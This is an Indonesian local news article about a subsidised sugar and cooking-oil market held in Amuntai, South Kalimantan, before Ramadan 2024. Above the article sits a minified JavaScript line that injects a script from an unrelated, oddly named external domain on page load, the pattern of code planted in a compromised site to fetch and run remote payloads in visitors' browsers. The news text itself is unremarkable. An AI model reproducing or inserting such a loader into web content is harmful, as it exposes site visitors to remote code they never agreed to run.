(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gula Pasir dan Minyak Goreng Murah Diserbu Warga Amuntai

KANALKALIMANTAN.COM, AMUNTAI – Warga Amuntai menyerbu pasar murah yang digelar Dinas Koperasi, Usaha Kecil Menengah, Perindustrian dan Perdagangan (Diskuperindag) Kabupaten HSU, menjelang bulan Ramadhan di Jalan Basuki Rahmat, Amuntai, Jum’at (8/3/2024) sore.

Pantauan kanalkalimantan.com, kehadiran pasar murah ini disambut antusias masyarakat, terutama dari kalangan ibu-ibu rumah tangga yang tampak berjubel.

Mereka antre untuk beberapa lama agar bisa mendapatkan gula dan minyak goreng kemasan yang dijual dengan harga lebih murah.

Pasar murah tersebut bertujuan untuk menjamin ketersediaan dan keterjangkauan harga bahan pokok dan membantu masyarakat memenuhi kebutuhan dasar komoditas bahan pokok.

Slamet Riyadi, salah satu pegawai Diskuperindag HSU mengatakan, operasi pasar murah pada kali ini menjual minyak goreng dan gula kemasan.

“Kami membawa masing-masing 1 ton untuk gula pasir dan minyak goreng. Adapun dalam 1 paketnya dengan seharga Rp62.000, terdiri dari gula pasir 2 Kg dan minyak goreng 2 liter,” bebernya.

Menurutnya, meski Diskuperindag HSU hanya menjual 2 jenis bahan kebutuhan pokok, namun tidak mengurangi antusias warga.

Dia menyebut, operasi pasar murah ini untuk pengendalian inflasi di Kabupaten HSU.

“Insyaallah operasi pasar murah akan diadakan lagi pada tanggal 27 Maret mendatang, tetapi untuk lokasi belum dipastikan. Dan nanti, kita akan berkoordinasi dan bekerjasama dengan Dinas Perdagangan Provinsi Kalimantan Selatan dan mengajak beberapa instansi dan perusahaan,” katanya.

Slamet berharap, adanya kegiatan pasar murah ini masyarakat di Kabupaten HSU dapat terbantu, sekaligus bisa menurunkan inflasi di Kabupaten HSU.

Adapun operasi pasar murah ini dilaksanakan bekerjasama dengan Remaja Kreatif Amuntai (Reka). (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie